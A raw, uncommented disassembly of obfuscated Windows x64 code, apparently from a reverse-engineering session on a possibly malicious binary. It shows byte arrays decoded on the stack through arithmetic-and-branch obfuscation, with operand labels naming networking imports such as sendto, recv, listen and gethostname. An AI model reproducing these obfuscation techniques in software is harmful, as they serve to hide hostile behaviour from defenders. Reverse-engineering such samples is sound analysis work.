inc rbx
jmp 0x1400c5303
lea edx, [rbx + 0x18]
movzx eax, dl
and al, r10b
mov ecx, Ordinal_46
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
mov byte [rbp + rbx + 0x560], r11b
inc rbx
jmp 0x1400c5303
lea ecx, [rbx + 8]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x38
cmp r9, 0x61
jb 0x1400c56ef
movzx edi, bl
lea edx, [rdi + 0x30]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_27
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
lea r11d, [rcx + rcx]
jmp 0x1400c5be5
lea edx, [rbx - 8]
movzx eax, dl
and al, r10b
mov ecx, Ordinal_30
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
cmp r8, 0x40
jae 0x1400c5afc
lea rax, [r9 + 0x3e8]
cmp r8, rax
jbe 0x1400c5a56
lea edx, [rbx - 0x70]
movzx eax, dl
and al, r10b
mov ecx, 8
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1400c5714
lea ecx, [rbx - 0x18]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x58
lea rax, [r9 + r8]
cmp rax, 5
je 0x1400c5b21
lea rax, [r9 + 0x10]
cmp r8, rax
jbe 0x1400c599f
lea edx, [rbx + 0x68]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_sendto
jmp 0x1400c574b
lea ecx, [rbx - 0x20]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x20
jmp 0x1400c5cca
lea edx, [rbx - 0x30]
movzx eax, dl
and al, r10b
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1400c5c83
lea ecx, [rbx - 0x40]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x40
jmp 0x1400c5c50
lea edx, [rbx - 0x50]
movzx eax, dl
and al, r10b
mov ecx, Ordinal_27
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1400c5c4d
lea edx, [rbx - 0x70]
movzx eax, dl
and al, r10b
mov ecx, 8
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
dec rbx
inc rbx
jmp 0x1400c5303
lea ecx, [rbx + 0x80]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x80
inc r9
dec rbx
inc rbx
jmp 0x1400c5303
movzx edi, bl
lea ecx, [rdi + 0x70]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x10
jmp 0x1400c5be5
lea rax, [r9 + 8]
cmp r8, rax
jae 0x1400c58d2
lea edx, [rbx - 0x78]
movzx eax, dl
and al, r10b
mov ecx, 0x24
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1400c57a2
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400c5906
lea ecx, [rbx + 0x50]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x30
movzx eax, byte [rbp + rbx + 0x560]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400c5303
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400c592e
lea edx, [rbx - 0x70]
movzx eax, dl
and al, r10b
mov ecx, 8
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1400c5c4d
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400c5954
movzx edi, bl
lea ecx, [rdi - 0x60]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x60
jmp 0x1400c5c2a
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400c5982
lea edx, [rbx - 0x50]
movzx eax, dl
and al, r10b
mov ecx, Ordinal_27
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
dec rbx
inc rbx
jmp 0x1400c5303
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400c57a2
movzx edi, bl
lea edx, [rdi - 0x30]
mov ecx, Ordinal_41
jmp 0x1400c5bd3
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x1400c59c5
movzx edi, bl
lea ecx, [rdi + 0x78]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x48
jmp 0x1400c5be5
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400c59ee
lea ecx, [rbx - 0x68]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x28
dec rbx
inc rbx
jmp 0x1400c5303
lea rax, [rcx + 1]
cmp r8, rax
jne 0x1400c5a19
movzx edi, bl
lea edx, [rdi - 0x58]
movzx eax, dl
and al, r10b
mov ecx, 0x34
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1400c5c2a
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400c5757
lea edx, [rbx - 8]
movzx eax, dl
and al, r10b
mov ecx, Ordinal_30
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
movzx eax, byte [rbp + rbx + 0x560]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400c5303
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400c5a8a
lea ecx, [rbx - 0x60]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x60
movzx eax, byte [rbp + rbx + 0x560]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400c5303
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400c5aad
lea ecx, [rbx - 0x40]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x40
jmp 0x1400c5c83
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400c5ad5
lea edx, [rbx - 0x30]
movzx eax, dl
and al, r10b
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1400c5c50
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400c5714
lea ecx, [rbx - 0x20]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x20
jmp 0x1400c5c4d
movzx edi, bl
lea edx, [rdi + 0x40]
movzx eax, r10b
and al, dl
movzx ecx, byte [rbp + rbx + 0x560]
sub cl, al
add cl, 0x20
lea r11d, [rcx + rcx]
add r11b, dl
jmp 0x1400c5c2a
lea ecx, [rbx + 0x50]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [rcx - 0x30]
jmp 0x1400c5c83
lea ecx, [rbx - 0x48]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 8
movzx eax, byte [rbp + rbx + 0x560]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400c5303
lea ecx, [rbx - 0x68]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x28
jmp 0x1400c5c83
lea edx, [rbx - 0x78]
movzx eax, dl
and al, r10b
mov ecx, 0x24
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1400c5c50
lea ecx, [rbx + 0x58]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x68
dec rbx
inc rbx
jmp 0x1400c5303
movzx edi, bl
lea edx, [rdi + 0x38]
mov ecx, reloc.WLDAP32.dll_Ordinal_60
jmp 0x1400c5bd3
movzx edi, bl
lea edx, [rdi + 0x18]
mov ecx, Ordinal_46
movzx eax, dl
and al, r10b
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
sub dil, 0x48
movzx eax, dil
and al, r10b
add al, al
sub dil, al
sub dil, 8
add dil, r10b
mov byte [rbp + rbx + 0x560], dil
inc r9
dec rbx
inc rbx
jmp 0x1400c5303
movzx edi, bl
lea ecx, [rdi - 0x18]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x58
sub dil, 0x38
movzx eax, dil
and al, r10b
add al, al
movzx ecx, r11b
sub cl, al
sub cl, 0x78
add cl, dil
add cl, r10b
mov byte [rbp + rbx + 0x560], cl
add r8, r9
movzx eax, r11b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400c5303
lea rcx, [rbx + r15]
movzx r10d, dl
and dl, cl
add dl, dl
movzx r11d, r10b
sub r11b, dl
sub r11b, 8
add r11b, cl
lea edx, [rbx - 0x28]
movzx eax, dl
and al, r10b
mov ecx, listen
sub cl, al
add cl, cl
add cl, dl
add cl, r10b
movzx eax, cl
mov byte [rbp + rbx + 0x560], al
inc r9
add rax, r9
sub rbx, rax
jmp 0x1400c5cca
lea rcx, [rbx + r12]
movzx r10d, dl
and dl, cl
mov eax, 0x34
sub al, dl
lea r11d, [rax + rax]
add r11b, r10b
add r11b, cl
lea edx, [rbx + 0x60]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_50
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
mov byte [rbp + rbx + 0x560], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0x560]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400c5303
lea rcx, [rbx + r14]
movzx eax, dl
and al, cl
add al, al
sub dl, al
lea r11d, [rcx + rdx]
sub r11b, 0x28
movzx eax, byte [rbp + rbx + 0x560]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400c5303
sub bl, 0x58
movzx eax, bl
and al, r10b
mov ecx, 0x34
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, r10b
jmp 0x1400c5300
sub bl, 0x68
movzx eax, bl
and al, r10b
add al, al
sub bl, al
lea r11d, [r10 + rbx]
sub r11b, 0x28
jmp 0x1400c52f0
lea rdx, [rbp + 0x17d14c0]
jmp 0x1400c5d8b
lea rdx, [rbp + 0xb71c48]
jmp 0x1400c5d8b
lea rdx, [rbp + 0x560]
mov rcx, qword [0x140220750]
call fcn.140064200
mov rsi, rax
mov byte [rbp + 0x650], 0xe0
mov byte [rbp + 0x651], Ordinal_143
mov byte [rbp + 0x652], reloc.WS2_32.dll___WSAFDIsSet
mov byte [rbp + 0x653], __WSAFDIsSet
mov byte [rbp + 0x654], 0x87
mov byte [rbp + 0x655], 0x90
mov byte [rbp + 0x656], Ordinal_217
mov byte [rbp + 0x657], 0x85
mov byte [rbp + 0x658], 0xad
mov byte [rbp + 0x659], 0xba
mov byte [rbp + 0x65a], 0xbe
mov byte [rbp + 0x65b], 0xaa
mov byte [rbp + 0x65c], 0xbe
mov byte [rbp + 0x65d], 0xb9
mov byte [rbp + 0x65e], 0xee
mov byte [rbp + 0x65f], 0xbb
mov byte [rbp + 0x660], 0xb8
mov byte [rbp + 0x661], 0xa4
mov byte [rbp + 0x662], 0xe2
mov byte [rbp + 0x663], 0xa6
mov byte [rbp + 0x664], Ordinal_143
mov byte [rbp + 0x665], 0xb1
mov byte [rbp + 0x666], 0xa3
mov byte [rbp + 0x667], 0xb5
mov byte [rbp + 0x668], 0xa6
mov byte [rbp + 0x669], 0xb8
mov byte [rbp + 0x66a], 0xa6
mov byte [rbp + 0x66b], 0xfb
mov byte [rbp + 0x66c], 0xe4
mov byte [rbp + 0x66d], 0xa3
mov byte [rbp + 0x66e], 0xa1
mov byte [rbp + 0x66f], 0xff
mov byte [rbp + 0x670], 0xae
mov byte [rbp + 0x671], 0xb4
mov byte [rbp + 0x672], 0xb7
mov byte [rbp + 0x673], 0xb7
mov byte [rbp + 0x674], 0xf4
mov byte [rbp + 0x675], 0xa1
mov byte [rbp + 0x676], 0xa9
mov byte [rbp + 0x677], 0xf7
mov byte [rbp + 0x678], Ordinal_79
mov byte [rbp + 0x679], 0x55
mov byte [rbp + 0x67a], 0x55
mov byte [rbp + 0x67b], 0x58
mov byte [rbp + 0x67c], Ordinal_79
mov byte [rbp + 0x67d], reloc.WS2_32.dll_listen
mov byte [rbp + 0x67e], 0x5c
mov byte [rbp + 0x67f], 0x50
mov byte [rbp + 0x680], 0x42
mov byte [rbp + 0x681], 0x5d
mov byte [rbp + 0x682], 0x5d
mov byte [rbp + 0x683], WSAGetLastError
mov byte [rbp + 0x684], 4
mov byte [rbp + 0x685], 0x5c
mov byte [rbp + 0x686], 0x40
mov byte [rbp + 0x687], 7
mov byte [rbp + 0x688], 0x47
mov byte [rbp + 0x689], Ordinal_79
mov byte [rbp + 0x68a], 0x5f
mov byte [rbp + 0x68b], 0x45
mov byte [rbp + 0x68c], 5
mov byte [rbp + 0x68d], 0xe7
mov byte [rbp + 0x68e], 0xfe
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x68f], xmm0
mov dword [rbp + 0x69f], eax
movabs r14, 0xf9f5164c39786458
movabs r15, 0xeddf42e4ac692d08
movzx r11d, byte [rsp + 0x30]
nop
mov r8, qword [0x140220a80]
mov r9, qword [0x140220a78]
nop
mov rbx, r13
cmp rbx, 0x53
jae 0x1400c6a77
movzx r10d, byte [rbp + rbx + 0x650]
mov rdx, r10
nop dword [rax]
cmp r8, rbx
ja 0x1400c6a6e
lea rcx, [r9 + 1]
cmp r8, rcx
jae 0x1400c5fdc
lea rcx, [rbx + r14]
mov rax, rdx
and rax, rcx
imul r11, rax, 0xfffffffffffffffe
add r11, rdx
add r11, rcx
sub r11b, 0x68
jmp 0x1400c6010
je 0x1400c6a06
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400c69d5
lea rax, [rcx + 1]
cmp r8, rax
je 0x1400c69b5
lea rax, [r9 + 7]
cmp r8, rax
je 0x1400c6969
nop dword [rax]
cmp r9, rbx
ja 0x1400c6a65
lea rax, [r9 + 0x28]
cmp r8, rax
jae 0x1400c603e
lea edx, [rbx + 0x38]
movzx eax, dl
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1400c6080
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400c694f
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400c692a
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400c6910
lea rax, [r9 + 7]
cmp r8, rax
je 0x1400c6888
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400c6871
nop
lea rax, [r9 + r8]
cmp rax, rbx
jbe 0x1400c65d6
nop dword [rax]
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400c65c6
lea rax, [r9 + 0x64]
cmp r8, rax
je 0x1400c65a0
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400c6580
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x1400c6563
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400c6544
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x1400c6525
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x1400c6503
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x1400c64e9
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x1400c64be
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x1400c6090
lea r8, [r9 + 9]
lea r9, [r8 + 0x42]
lea rax, [r9 + 0x1000]
cmp r8, rax
jb 0x1400c6a4b
lea rax, [r9 + 8]
cmp r8, rax
jb 0x1400c6a31
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x1400c627f
lea rax, [r9 + 6]
cmp r8, rax
jb 0x1400c6260
lea rax, [r9 + 0x3e8]
cmp r8, rax
jb 0x1400c6246
lea rax, [r9 + 5]
cmp r8, rax
jb 0x1400c646f
lea rax, [r9 + 0x200]
cmp r8, rax
jb 0x1400c6429
lea rax, [r9 + 4]
cmp r8, rax
jb 0x1400c63e6
lea rax, [r9 + 0x80]
cmp r8, rax
jb 0x1400c63bc
lea rax, [r9 + 3]
cmp r8, rax
jb 0x1400c6090
lea r8, [r9 + 0xa]
lea r9, [r8 + 0x64]
lea rax, [r9 + 0x61]
cmp r8, rax
ja 0x1400c638c
lea rax, [r9 + 9]
cmp r8, rax
ja 0x1400c636d
lea rax, [r9 + 0x1000]
cmp r8, rax
ja 0x1400c6350
lea rax, [r9 + 8]
cmp r8, rax
ja 0x1400c6336
lea rax, [r9 + 0x400]
cmp r8, rax
ja 0x1400c631f
lea rax, [r9 + 6]
cmp r8, rax
ja 0x1400c6303
lea rax, [r9 + 0x3e8]
cmp r8, rax
ja 0x1400c62de
lea rax, [r9 + 5]
cmp r8, rax
ja 0x1400c62bb
lea rax, [r9 + 0x200]
cmp r8, rax
ja 0x1400c629e
lea rax, [r9 + 4]
cmp r8, rax
ja 0x1400c6090
lea r8, [r9 + 1]
lea r9, [r8 + 8]
jmp 0x1400c6090
lea ecx, [rbx - 0x38]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x78
jmp 0x1400c6080
lea edx, [rbx + 0x18]
movzx eax, dl
and al, r10b
mov ecx, Ordinal_46
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1400c6010
lea edx, [rbx + 0x68]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1400c5fa6
lea ecx, [rbx - 0x40]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x40
movzx edi, bl
jmp 0x1400c6986
lea ecx, [rbx + 0x10]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x70
inc r9
dec rbx
inc rbx
jmp 0x1400c5f93
lea edx, [rbx + 0x60]
movzx eax, dl
and al, r10b
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
dec rbx
inc rbx
jmp 0x1400c5f93
lea edx, [rbx - 0x50]
movzx eax, dl
and al, r10b
mov ecx, Ordinal_27
sub cl, al
lea r11d, [rcx + rcx]
movzx edi, bl
jmp 0x1400c682c
movzx ecx, bl
and cl, r10b
add cl, cl
movzx r11d, bl
sub r11b, cl
add r11b, r10b
jmp 0x1400c69ea
lea ecx, [rbx + 0x50]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x30
jmp 0x1400c69ed
lea ecx, [rbx - 0x60]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x60
movzx edi, bl
jmp 0x1400c68a0
lea edx, [rbx - 0x10]
movzx eax, dl
and al, r10b
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1400c68cc
lea edx, [rbx + 0x40]
movzx eax, dl
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
movzx eax, byte [rbp + rbx + 0x650]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400c5f93
lea edx, [rbx - 0x78]
movzx eax, dl
and al, r10b
mov ecx, 0x24
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
mov byte [rbp + rbx + 0x650], r11b
inc rbx
jmp 0x1400c5f93
lea edx, [rbx - 0x28]
movzx eax, dl
and al, r10b
mov ecx, listen
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
cmp r9, 5
jb 0x1400c63d6
movzx edi, bl
lea ecx, [rdi + 0x10]
movzx eax, cl
and al, r10b
mov edx, 8
sub dl, al
add dl, dl
add dl, cl
add dl, r10b
lea r11d, [rdx + rdx]
jmp 0x1400c6986
lea ecx, [rbx + 0x28]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x18
cmp r8, 0x40
jae 0x1400c680e
lea rax, [r9 + 0x400]
cmp r8, rax
jbe 0x1400c6757
lea ecx, [rbx + 0x30]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x50
jmp 0x1400c6400
lea ecx, [rbx + 0x78]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x48
lea rax, [r9 + r8]
cmp rax, 0x28
je 0x1400c685b
lea rax, [r9 + 0x3e8]
cmp r8, rax
jbe 0x1400c669b
lea edx, [rbx - 8]
movzx eax, dl
and al, r10b
mov ecx, Ordinal_30
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1400c643e
lea ecx, [rbx + 0x50]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x30
movzx eax, byte [rbp + rbx + 0x650]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400c5f93
lea ecx, [rbx - 0x60]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x60
jmp 0x1400c68cc
movzx edi, bl
lea edx, [rdi - 0x10]
movzx eax, dl
and al, r10b
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1400c68a0
lea edx, [rbx + 0x40]
movzx eax, dl
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1400c69ed
lea edx, [rbx - 0x70]
movzx eax, dl
and al, r10b
mov ecx, 8
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1400c69ea
movzx edi, bl
lea ecx, [rdi - 0x20]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x20
jmp 0x1400c6832
lea ecx, [rbx + 0x30]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x50
dec rbx
inc rbx
jmp 0x1400c5f93
lea ecx, [rbx + 0x80]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x80
inc r9
dec rbx
inc rbx
jmp 0x1400c5f93
movzx edi, bl
lea edx, [rdi - 0x30]
mov ecx, Ordinal_41
jmp 0x1400c6974
lea rax, [r9 + 8]
cmp r8, rax
jae 0x1400c65f9
lea ecx, [rbx + 0x58]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x68
jmp 0x1400c6484
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x1400c662d
lea ecx, [rbx + 0x70]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x10
movzx eax, byte [rbp + rbx + 0x650]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400c5f93
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400c6650
lea ecx, [rbx + 0x30]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x50
jmp 0x1400c69ea
lea rax, [rcx + 1]
cmp r8, rax
jne 0x1400c667e
lea edx, [rbx - 0x70]
movzx eax, dl
and al, r10b
mov ecx, 8
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
dec rbx
inc rbx
jmp 0x1400c5f93
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400c6484
movzx edi, bl
lea edx, [rdi - 0x10]
mov ecx, gethostname
jmp 0x1400c6974
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400c66b4
movzx edi, bl
lea edx, [rdi - 0x58]
mov ecx, 0x34
jmp 0x1400c6974
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400c66dd
lea ecx, [rbx + 8]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x38
dec rbx
inc rbx
jmp 0x1400c5f93
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400c6705
lea edx, [rbx + 0x68]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1400c69ea
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400c672d
lea edx, [rbx + 0x18]
movzx eax, dl
and al, r10b
mov ecx, Ordinal_46
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1400c69ed
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400c643e
movzx edi, bl
lea ecx, [rdi - 0x38]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x78
jmp 0x1400c68a0
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400c678b
lea ecx, [rbx - 0x20]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x20
movzx eax, byte [rbp + rbx + 0x650]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400c5f93
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400c67b6
movzx edi, bl
lea edx, [rdi + 0x40]
movzx eax, dl
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1400c68a0
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400c67d9
movzx edi, bl
lea ecx, [rdi + 0x50]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x30
jmp 0x1400c6832
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400c6400
lea edx, [rbx - 0x50]
movzx eax, dl
and al, r10b
mov ecx, Ordinal_27
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
inc r9
dec rbx
inc rbx
jmp 0x1400c5f93
movzx edi, bl
lea edx, [rdi - 0x40]
movzx eax, dl
and al, r10b
add al, al
movzx r11d, byte [rbp + rbx + 0x650]
sub r11b, al
sub r11b, 0x40
add r11b, dl
add r11b, r10b
add dil, 0x18
movzx eax, r10b
and al, dil
mov ecx, Ordinal_46
sub cl, al
add cl, cl
add cl, r10b
add cl, dil
add cl, r11b
mov byte [rbp + rbx + 0x650], cl
jmp 0x1400c69ea
movzx edi, bl
lea ecx, [rdi + 0x70]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [rcx - 0x10]
jmp 0x1400c68a0
lea ecx, [rbx - 0x48]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 8
jmp 0x1400c68cc
movzx edi, bl
lea ecx, [rdi + 8]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x38
sub dil, 0x38
movzx eax, r10b
and al, dil
add al, al
movzx ecx, r10b
sub cl, al
sub cl, 0x78
add cl, dil
movzx eax, cl
mov byte [rbp + rbx + 0x650], al
inc r9
add rax, r9
sub rbx, rax
lea edx, [rbx + 0x20]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
add cl, cl
add cl, dl
add cl, r10b
mov byte [rbp + rbx + 0x650], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0x650]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400c5f93
lea ecx, [rbx + 0x58]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x68
jmp 0x1400c69ed
lea edx, [rbx + 0x48]
movzx eax, dl
and al, r10b
mov ecx, 4
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
dec rbx
inc rbx
jmp 0x1400c5f93
movzx edi, bl
lea ecx, [rdi - 0x18]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x58
jmp 0x1400c6986
movzx edi, bl
lea edx, [rdi - 0x78]
mov ecx, 0x24
movzx eax, dl
and al, r10b
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
add dil, 0x68
movzx eax, r10b
and al, dil
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
add cl, cl
add cl, r10b
add cl, dil
mov byte [rbp + rbx + 0x650], cl
inc r9
dec rbx
inc rbx
jmp 0x1400c5f93
lea ecx, [rbx + 0x28]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x18
dec rbx
inc rbx
jmp 0x1400c5f93
lea ecx, [rbx - 0x38]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x78
add r8, r9
movzx eax, r11b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400c5f93
lea rcx, [rbx + r15]
movzx eax, dl
and al, cl
add al, al
sub dl, al
lea r11d, [rcx + rdx]
